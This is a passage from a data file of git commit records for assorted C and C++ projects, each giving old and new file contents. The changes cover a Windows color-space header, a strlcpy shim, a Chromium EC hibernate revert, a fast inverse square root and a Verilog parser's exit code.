{"commit":"52f4cfe22d70c06394d12f9b7fd45f753370cd56","old_file":"os\/win\/color_space.h","new_file":"os\/win\/color_space.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2018-2020  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_WIN_COLOR_SPACE_H_INCLUDED\n#define OS_WIN_COLOR_SPACE_H_INCLUDED\n#pragma once\n\n#include \"os\/color_space.h\"\n\n#ifdef __OBJC__\n#include <Cocoa\/Cocoa.h>\n#endif\n\n#include <vector>\n\nnamespace os {\n\nstd::string get_hmonitor_icc_filename(HMONITOR monitor);\nos::ColorSpaceRef get_colorspace_from_icc_file(const std::string& iccFilename);\nos::ColorSpaceRef get_hmonitor_colorspace(HMONITOR monitor);\nvoid list_display_colorspaces(std::vector<os::ColorSpaceRef>& list);\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2018-2021  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_WIN_COLOR_SPACE_H_INCLUDED\n#define OS_WIN_COLOR_SPACE_H_INCLUDED\n#pragma once\n\n#include \"os\/color_space.h\"\n\n#include <vector>\n\nnamespace os {\n\nstd::string get_hmonitor_icc_filename(HMONITOR monitor);\nos::ColorSpaceRef get_colorspace_from_icc_file(const std::string& iccFilename);\nos::ColorSpaceRef get_hmonitor_colorspace(HMONITOR monitor);\nvoid list_display_colorspaces(std::vector<os::ColorSpaceRef>& list);\n\n} \/\/ namespace os\n\n#endif\n","subject":"Remove macOS header from Win32 impl","message":"Remove macOS header from Win32 impl\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"4ee60d1890ae12729a9afda7e64dd2c12d48776a","old_file":"src\/shims.c","new_file":"src\/shims.c","old_contents":"\/*\n * Copyright (c) 2013-2016 Apple Inc. All rights reserved.\n *\n * @APPLE_APACHE_LICENSE_HEADER_START@\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @APPLE_APACHE_LICENSE_HEADER_END@\n *\/\n\n#include \"internal.h\"\n#include \"shims.h\"\n\n#if !HAVE_STRLCPY\nsize_t strlcpy(char *dst, const char *src, size_t size) {\n\tsize_t res = strlen(dst) + strlen(src) + 1;\n\tif (size > 0) {\n\t\tsize_t n = size - 1;\n\t\tstrncpy(dst, src, n);\n\t\tdst[n] = 0;\n\t}\n\treturn res;\n}\n#endif\n","new_contents":"\/*\n * Copyright (c) 2013-2016 Apple Inc. All rights reserved.\n *\n * @APPLE_APACHE_LICENSE_HEADER_START@\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @APPLE_APACHE_LICENSE_HEADER_END@\n *\/\n\n#include \"internal.h\"\n#include \"shims.h\"\n\n#if !HAVE_STRLCPY\nsize_t strlcpy(char *dst, const char *src, size_t size)\n{\n\tsize_t res = strlen(dst) + strlen(src) + 1;\n\tif (size > 0) {\n\t\tsize_t n = size - 1;\n\t\tstrncpy(dst, src, n);\n\t\tdst[n] = 0;\n\t}\n\treturn res;\n}\n#endif\n","subject":"Fix formatting to match libdispatch coding style.","message":"Fix formatting to match libdispatch coding style.","lang":"C","license":"apache-2.0","repos":"apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch"}
{"commit":"690964cb69d6675f59b1362d47e5dbaec75a4eb0","old_file":"rxe.h","new_file":"rxe.h","old_contents":"#ifndef __RXE_H\n#define __RXE_H\n\n#define MAXBYTES 8\n#define MAXBITS 64\n\nvoid encrypt(char*, char *, char *);\nvoid decrypt(char*, char *, char *);\n\n#endif \/* !__RXE_H *\/\n","new_contents":"#ifndef __RXE_H\n#define __RXE_H\n\n#define MAXBYTES 8\n#define MAXBITS MAXBYTES*8\n\nvoid encrypt(char* in, char *out, char *key);\nvoid decrypt(char* in, char *out, char *key);\n\n#endif \/* !__RXE_H *\/\n","subject":"Make the header more descriptive","message":"Make the header more descriptive\n","lang":"C","license":"mit","repos":"SaidinWoT\/rx"}
{"commit":"cf3b23699094494aff3e7adc5e1542e0db87e548","old_file":"board\/lazor\/hibernate.c","new_file":"board\/lazor\/hibernate.c","old_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"common.h\"\n#include \"sku.h\"\n#include \"system.h\"\n#include \"usbc_ppc.h\"\n\nvoid board_hibernate(void)\n{\n\tint i;\n\n\tif (!board_is_clamshell()) {\n\t\t\/*\n\t\t * Sensors are unpowered in hibernate. Apply PD to the\n\t\t * interrupt lines such that they don't float.\n\t\t *\/\n\t\tgpio_set_flags(GPIO_ACCEL_GYRO_INT_L,\n\t\t\t       GPIO_INPUT | GPIO_PULL_DOWN);\n\t\tgpio_set_flags(GPIO_LID_ACCEL_INT_L,\n\t\t\t       GPIO_INPUT | GPIO_PULL_DOWN);\n\t}\n\n\t\/*\n\t * Board rev 5+ has the hardware fix. Don't need the following\n\t * workaround. Limozeen's BRD_ID is not monotonically increasing.\n         * 4 is the earliest revision.\n\t *\/\n\tif ((system_get_board_version() >= 5) ||\n\t\t(board_is_clamshell() && ((system_get_board_version() != 4))))\n\t\treturn;\n\n\t\/*\n\t * Enable the PPC power sink path before EC enters hibernate;\n\t * otherwise, ACOK won't go High and can't wake EC up. Check the\n\t * bug b\/170324206 for details.\n\t *\/\n\tfor (i = 0; i < CONFIG_USB_PD_PORT_MAX_COUNT; i++)\n\t\tppc_vbus_sink_enable(i, 1);\n}\n","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"common.h\"\n#include \"sku.h\"\n#include \"system.h\"\n#include \"usbc_ppc.h\"\n\nvoid board_hibernate(void)\n{\n\tint i;\n\n\tif (!board_is_clamshell()) {\n\t\t\/*\n\t\t * Sensors are unpowered in hibernate. Apply PD to the\n\t\t * interrupt lines such that they don't float.\n\t\t *\/\n\t\tgpio_set_flags(GPIO_ACCEL_GYRO_INT_L,\n\t\t\t       GPIO_INPUT | GPIO_PULL_DOWN);\n\t\tgpio_set_flags(GPIO_LID_ACCEL_INT_L,\n\t\t\t       GPIO_INPUT | GPIO_PULL_DOWN);\n\t}\n\n\t\/*\n\t * Board rev 5+ has the hardware fix. Don't need the following\n\t * workaround.\n\t *\/\n\tif (system_get_board_version() >= 5)\n\t\treturn;\n\n\t\/*\n\t * Enable the PPC power sink path before EC enters hibernate;\n\t * otherwise, ACOK won't go High and can't wake EC up. Check the\n\t * bug b\/170324206 for details.\n\t *\/\n\tfor (i = 0; i < CONFIG_USB_PD_PORT_MAX_COUNT; i++)\n\t\tppc_vbus_sink_enable(i, 1);\n}\n","subject":"Revert \"limozeen: Refine the BRD_ID check\"","message":"Revert \"limozeen: Refine the BRD_ID check\"\n\nThis reverts commit 4860dccf9a0ea7c5ecba92d984491bd7151a31f0.\n\nReason for revert: lomozeen pvt buck ic board version change to 8.\n\nOriginal change's description:\n> limozeen: Refine the BRD_ID check\n>\n> Limozeen's BRD_ID is not monotonically increasing.\n> The earliest revision is 4. The next BRD_ID after 7 is 0.\n> Not support PPC workaround when BRD_ID 0 on limozeen.\n>\n> BUG=b:190250108\n> BRANCH=trogdor\n> TEST=make buildall success.\n>\n> Signed-off-by: David Huang <0bee89a4ff99f17b7e64fbf6530169dc03ff1a24@quanta.corp-partner.google.com>\n> Change-Id: I16d7ff081306812c14aa31ce2b19af8e2d50ff76\n> Reviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2952802\n> Reviewed-by: Wai-Hong Tam <04b587fdf5845741a0c5a8b9cd59ca72d73ef8fc@google.com>\n> Commit-Queue: Wai-Hong Tam <04b587fdf5845741a0c5a8b9cd59ca72d73ef8fc@google.com>\n\nBug: b:190250108\nChange-Id: Ib15e4d0b7b783c86541775955d5b74c51f2bbce2\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2965811\nBot-Commit: Rubber Stamper <d516c4cc2192058ab8dae3d306acbdaf2ce6574f@appspot.gserviceaccount.com>\nAuto-Submit: David Huang <0bee89a4ff99f17b7e64fbf6530169dc03ff1a24@quanta.corp-partner.google.com>\nCommit-Queue: Wai-Hong Tam <04b587fdf5845741a0c5a8b9cd59ca72d73ef8fc@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"e89291fb0f04e1585014b5f60446ddc49e4c3ec7","old_file":"src\/api\/yawot\/version.h","new_file":"src\/api\/yawot\/version.h","old_contents":"\n\nnamespace yawot\n{\n\n\/**\n * Return the version of the *library* as an\n * unsigned integer.  The format is XXYYZZ\n * XX - major version\n * YY - minor version\n * ZZ - patch version\n *\/\nunsigned int version();\n\n}\n\n","new_contents":"\n#ifndef YAWOT_VERSION_H\n#define YAWOT_VERSION_H\n\nnamespace yawot\n{\n\n\/**\n * Return the version of the *library* as an\n * unsigned integer.  The format is XXYYZZ\n * XX - major version\n * YY - minor version\n * ZZ - patch version\n *\/\nunsigned int version();\n\n}\n\n#endif \/* YAWOT_VERSION_H *\/\n\n","subject":"Add header define block to stop multiple header file inclusion.","message":"Add header define block to stop multiple header file inclusion.\n","lang":"C","license":"apache-2.0","repos":"hsorby\/original-yawot,hsorby\/original-yawot,hsorby\/original-yawot,hsorby\/original-yawot"}
{"commit":"8c5570bf08f50b76da1038c29ddaab4c0b772997","old_file":"src\/streamindexer\/analyzerplugin.h","new_file":"src\/streamindexer\/analyzerplugin.h","old_contents":"#include \"analyzerfactoryfactory.h\"\n\n#ifdef STRIGI_IMPORT_API\n #ifdef WIN32\n  #define STRIGI_PLUGIN_API __declspec(dllexport)\n #else\n  #define STRIGI_PLUGIN_API\n #endif\n#else\n  #error \"You should add STRIGI_IMPORT_API to the top of you plugin, you should not include this header if your code is not a plugin\"\n#endif\n#define STRIGI_ANALYZER_FACTORY(CLASS) extern \"C\" { \\\n    const AnalyzerFactoryFactory* getStrigiAnalyzerFactory() { \\\n        return new CLASS(); \\\n    } \\\n    void deleteStrigiAnalyzerFactory(const AnalyzerFactoryFactory* f) { \\\n        delete f; \\\n    } \\\n}\n","new_contents":"#include \"analyzerfactoryfactory.h\"\n\n#ifdef STRIGI_IMPORT_API\n #ifdef WIN32\n  #define STRIGI_PLUGIN_API __declspec(dllexport)\n #else\n  #define STRIGI_PLUGIN_API\n #endif\n#else\n  #error \"You should add STRIGI_IMPORT_API to the top of you plugin, you should not include this header if your code is not a plugin\"\n#endif\n#define STRIGI_ANALYZER_FACTORY(CLASS) extern \"C\" { \\\n    const jstreams::AnalyzerFactoryFactory* getStrigiAnalyzerFactory() { \\\n        return new CLASS(); \\\n    } \\\n    void deleteStrigiAnalyzerFactory(const jstreams::AnalyzerFactoryFactory* f) { \\\n        delete f; \\\n    } \\\n}\n","subject":"Use jstreams namespace in macro definition (not everybody uses the \"using\" keyword.","message":"Use jstreams namespace in macro definition (not everybody uses the \"using\" keyword.\n\nsvn path=\/trunk\/playground\/base\/strigi\/; revision=611538\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/strigi"}
{"commit":"90b8b9aea290c07590dc662542c49dfff76dfb47","old_file":"BPFoundationExtensions.h","new_file":"BPFoundationExtensions.h","old_contents":"\/*\n *  BPFoundationExtensions.h\n *  BPFoundation\n *\n *  Created by Jon Olson on 7\/9\/09.\n *  Copyright 2009 Ballistic Pigeon, LLC. All rights reserved.\n *\n *\/\n\n#ifndef _BPFOUNDATION_EXTENSIONS_H_\n#define _BPFOUNDATION_EXTENSIONS_H_\n\n#import \"NSArray+BPFoundationExtensions.h\"\n#import \"NSMutableArray+BPFoundationExtensions.h\"\n#import \"NSSet+BPFoundationExtensions.h\"\n#import \"NSDictionary+BPFoundationExtensions.h\"\n#import \"NSThread+BPFoundationExtensions.h\"\n\n\n#endif\n","new_contents":"\/*\n *  BPFoundationExtensions.h\n *  BPFoundation\n *\n *  Created by Jon Olson on 7\/9\/09.\n *  Copyright 2009 Ballistic Pigeon, LLC. All rights reserved.\n *\n *\/\n\n#ifndef _BPFOUNDATION_EXTENSIONS_H_\n#define _BPFOUNDATION_EXTENSIONS_H_\n\n#import \"NSArray+BPFoundationExtensions.h\"\n#import \"NSMutableArray+BPFoundationExtensions.h\"\n#import \"NSSet+BPFoundationExtensions.h\"\n#import \"NSDictionary+BPFoundationExtensions.h\"\n#import \"NSThread+BPFoundationExtensions.h\"\n#import \"BPPrimitiveArray.h\"\n\n\n#endif\n","subject":"Add primitive array to library header.","message":"Add primitive array to library header.\n","lang":"C","license":"bsd-3-clause","repos":"jon\/bpfoundationextensions"}
{"commit":"1b721782e43dd5ef060a6be12918db51e53c1e14","old_file":"test\/duffs-device.c","new_file":"test\/duffs-device.c","old_contents":"","new_contents":"int printf(const char *, ...);\n\n\/* \"Duff's Device\", adapted from \n * https:\/\/groups.google.com\/forum\/#!msg\/net.lang.c\/3KFq-67DzdQ\/TKl64DiBAGYJ\n *\/\nvoid send(short *to, short *from, int count) {\n    int n = (count + 7)\/8;\n    switch (count % 8) {\n    case 0: do  {   *to += *from++;\n    case 7:         *to += *from++;\n    case 6:         *to += *from++;\n    case 5:         *to += *from++;\n    case 4:         *to += *from++;\n    case 3:         *to += *from++;\n    case 2:         *to += *from++;\n    case 1:         *to += *from++;\n            } while (--n > 0);\n    }\n}\n\nstatic int result(short *to, short *from, int count) {\n    int i;\n    for (i = 0; i < count; ++i) {\n        printf(\"(%d, %d)\", to[i], from[i]);\n        if (i < count - 1) {\n            printf(\", \");\n        }\n    }\n    printf(\"\\n\");\n    return 0;\n}\n\nstatic short p[16] = {1, 2, 3, 4, 5, 6, 7, 8, 3, 8, 5, 1, 0, 0, 9, 2};\nstatic short q[16] = {4, 2, 7, 2, 1, 2, 5, 7, 2, 6, 8, 0, 4, 2, 6, 3};\n\nint main(void) {\n    send(p + 2, q, 16);\n    send(p + 5, q, 13);\n    send(p + 7, p, 5);\n\n    return result(p, q, 16);\n}\n","subject":"Add Duff's Device adaptation to test suite","message":"Add Duff's Device adaptation to test suite\n","lang":"C","license":"mit","repos":"larmel\/lacc,larmel\/c-compiler,larmel\/c-compiler,larmel\/c-compiler,larmel\/lacc"}
{"commit":"b597acc2dd049fd051bec2ba5217d2026b01b83c","old_file":"src\/math\/p_invsqrt.c","new_file":"src\/math\/p_invsqrt.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the inverse square root of the input vector 'a'.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n **\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_invsqrt_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = 1.0f \/ sqrtf(*(a + i));\n    }\n}\n","new_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the inverse square root of the input vector 'a'.\n *\n * This function uses a method of computing the inverse square root\n * made popular by the Quake 3 source code release. Chris Lomont has\n * provided an exhaustive analysis here: \n * http:\/\/www.lomont.org\/Math\/Papers\/2003\/InvSqrt.pdf\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n **\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_invsqrt_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n    \/\/ This union allows us to type-pun between integers and floats\n    \/\/ with fewer strict aliasing concerns than the pointer casts\n    \/\/ used in the original source.\n    union\n    {\n        int32_t i;\n        float f;\n    } u;\n\n    int i;\n    for (i = 0; i < n; i++) {\n        float x = *(a + i);\n        float x2 = x * 0.5f;\n\n        \/\/ Use some bit hacks to get a decent first approximation\n        u.f = x;\n        u.i = 0x5f375a86 - (u.i >> 1);\n        x = u.f;\n\n        \/\/ Perform a couple steps of Newton's method to refine our guess\n        x = x * (1.5f - (x2 * x * x));\n        x = x * (1.5f - (x2 * x * x));\n\n        *(c + i) = x;\n    }\n}","subject":"Implement faster inverse square root function","message":"Implement faster inverse square root function\n\nSigned-off-by: Warren Moore <4fdbf0932cf8fc9903ee31afa97cf723d35eb3f3@warrenmoore.net>\n","lang":"C","license":"apache-2.0","repos":"debug-de-su-ka\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,Adamszk\/pal3,eliteraspberries\/pal,RafaelRMA\/pal,RafaelRMA\/pal,parallella\/pal,debug-de-su-ka\/pal,parallella\/pal,aolofsson\/pal,aolofsson\/pal,olajep\/pal,8l\/pal,RafaelRMA\/pal,mateunho\/pal,parallella\/pal,debug-de-su-ka\/pal,mateunho\/pal,mateunho\/pal,mateunho\/pal,parallella\/pal,8l\/pal,Adamszk\/pal3,olajep\/pal,olajep\/pal,8l\/pal,Adamszk\/pal3,RafaelRMA\/pal,eliteraspberries\/pal,Adamszk\/pal3,parallella\/pal,aolofsson\/pal,debug-de-su-ka\/pal,mateunho\/pal,eliteraspberries\/pal,aolofsson\/pal,olajep\/pal,8l\/pal,eliteraspberries\/pal"}
{"commit":"80c88c62ea05233e2f613542b8ce476328422364","old_file":"libevmjit\/CompilerHelper.h","new_file":"libevmjit\/CompilerHelper.h","old_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nusing InsertPointGuard = llvm::IRBuilderBase::InsertPointGuard;\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nstruct InsertPointGuard\n{\n\texplicit InsertPointGuard(llvm::IRBuilderBase& _builder): m_builder(_builder), m_insertPoint(_builder.saveIP()) {}\n\t~InsertPointGuard() { m_builder.restoreIP(m_insertPoint); }\n\nprivate:\n\tllvm::IRBuilderBase& m_builder;\n\tdecltype(m_builder.saveIP()) m_insertPoint;\n};\n\n}\n}\n}\n","subject":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.","message":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.\n\nIn general, the NDEBUG flag should match cpp-ethereum and LLVM builds. But this is hard to satisfy as we usually have one system-wide build of LLVM and different builds of cpp-ethereum. This ABI incompatibility hit OSX only in release builds as LLVM is built by homebrew with assertions by default.\n","lang":"C","license":"mit","repos":"debris\/evmjit,ethcore\/evmjit,debris\/evmjit,ethcore\/evmjit"}
{"commit":"9e8f0fbbc0448faff7072b7f8fd66b031f9abc80","old_file":"src\/entry.h","new_file":"src\/entry.h","old_contents":"#ifndef ENTRY_H\n#define ENTRY_H\n\n#include <string>\n#include <memory>\n\nnamespace diaryengine {\n  class Entry\n  {\n    public:\n      Entry();\n      ~Entry();\n\n      void setTitle(std::string title);\n      std::string title();\n\n    private:\n      struct Implementation;\n      std::unique_ptr<Implementation> inside_;\n  };\n\n}\n#endif \/\/ ENTRY_H\n","new_contents":"#ifndef ENTRY_H\n#define ENTRY_H\n\n#include <string>\n#include <memory>\n\nnamespace diaryengine {\n  class Entry\n  {\n    public:\n      Entry();\n      ~Entry();\n\n      void setTitle(std::string title);\n      std::string title();\n\n    private:\n      struct Implementation;\n      std::unique_ptr<Implementation> _inside;\n  };\n\n}\n#endif \/\/ ENTRY_H\n","subject":"Rename the implementation pointer to respect naming convention","message":"Rename the implementation pointer to respect naming convention\n","lang":"C","license":"bsd-3-clause","repos":"Acce0ss\/diary-engine"}
{"commit":"1ee6c2c3fea091cf61d21e190dcf195b2149bc01","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc < 2)\n    {\n        printf(\"ERROR. Please supply at least one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        int F = 0;\n\n        for(F = 1; F < argc; F++)\n        {\n            printf(\"%s\", argv[F]);fflush(stdout);\n\n            \/\/ Load the file.\n            FILE * fh = fopen(argv[F], \"r\");\n            \n            \/\/ Instance the parser.\n            verilog_parser parser = verilog_file_parse(fh);\n            printf(\" parser built \");fflush(stdout);\n\n            \/\/ Parse the file and store the result.\n            int result = verilog_parse_buffer(parser);\n            printf(\" parser finished\");fflush(stdout);\n\n            verilog_free_parser(parser);\n            printf(\" parser freed\");fflush(stdout);\n            fclose(fh);\n            \n            if(result == 0)\n            {\n                printf(\" - Parse successful\\n\");\n            }\n            else\n            {\n                printf(\" - Parse failed for\\n\");\n            }\n        }\n    }\n    return 0;\n}\n","new_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc < 2)\n    {\n        printf(\"ERROR. Please supply at least one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        int F = 0;\n\n        for(F = 1; F < argc; F++)\n        {\n            printf(\"%s\", argv[F]);fflush(stdout);\n\n            \/\/ Load the file.\n            FILE * fh = fopen(argv[F], \"r\");\n            \n            \/\/ Instance the parser.\n            verilog_parser parser = verilog_file_parse(fh);\n            printf(\" parser built \");fflush(stdout);\n\n            \/\/ Parse the file and store the result.\n            int result = verilog_parse_buffer(parser);\n            printf(\" parser finished\");fflush(stdout);\n\n            verilog_free_parser(parser);\n            printf(\" parser freed\");fflush(stdout);\n            fclose(fh);\n            \n            if(result == 0)\n            {\n                printf(\" - Parse successful\\n\");\n            }\n            else\n            {\n                printf(\" - Parse failed for\\n\");\n                if(argc<=2) return 1;\n            }\n        }\n    }\n    return 0;\n}\n","subject":"Fix incorrect reporting of successful parsing. On branch master Your branch is ahead of 'github\/master' by 3 commits. (use \"git push\" to publish your local commits)","message":"Fix incorrect reporting of successful parsing.\n On branch master\n Your branch is ahead of 'github\/master' by 3 commits.\n   (use \"git push\" to publish your local commits)\n\n Changes to be committed:\n\tmodified:   src\/main.c\n","lang":"C","license":"mit","repos":"ben-marshall\/verilog-parser,ben-marshall\/verilog-parser,ben-marshall\/verilog-parser"}
{"commit":"1a9fd1ee0be588aa465a2bc405a86bb4669e3288","old_file":"src\/whitgl\/logging.c","new_file":"src\/whitgl\/logging.c","old_contents":"#include <stdarg.h>\n#include <stdio.h>\n\n#include <whitgl\/logging.h>\n\n#define LOG_BUFFER_MAX (256)\nchar _buffer[LOG_BUFFER_MAX];\n\nvoid whitgl_logit(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"%24s:%03d  %s\\n\", file, line, _buffer);\n}\n\nvoid whitgl_panic(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"PANIC %24s:%03d  %s\\n\", file, line, _buffer);\n\t__builtin_trap();\n}","new_contents":"#include <stdarg.h>\n#include <stdio.h>\n\n#include <whitgl\/logging.h>\n\n#define LOG_BUFFER_MAX (256)\nchar _buffer[LOG_BUFFER_MAX];\n\nvoid whitgl_logit(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"%24s:%03d  %s\\n\", file, line, _buffer);\n}\n\nvoid whitgl_panic(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"PANIC %24s:%03d  %s\\n\", file, line, _buffer);\n\tfflush(stdout);\n\t__builtin_trap();\n}\n","subject":"Make sure stdout is flushed before trapping in panic","message":"Make sure stdout is flushed before trapping in panic\n","lang":"C","license":"mit","repos":"whitingjp\/whitgl,whitingjp\/whitgl,whitingjp\/whitgl,whitingjp\/whitgl"}
{"commit":"082299ce611b1e2878001e0daa2b67dcc01a4a77","old_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","new_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","old_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n- (BOOL) MR_importValuesForKeysWithObject:(id)objectData;\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","new_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const 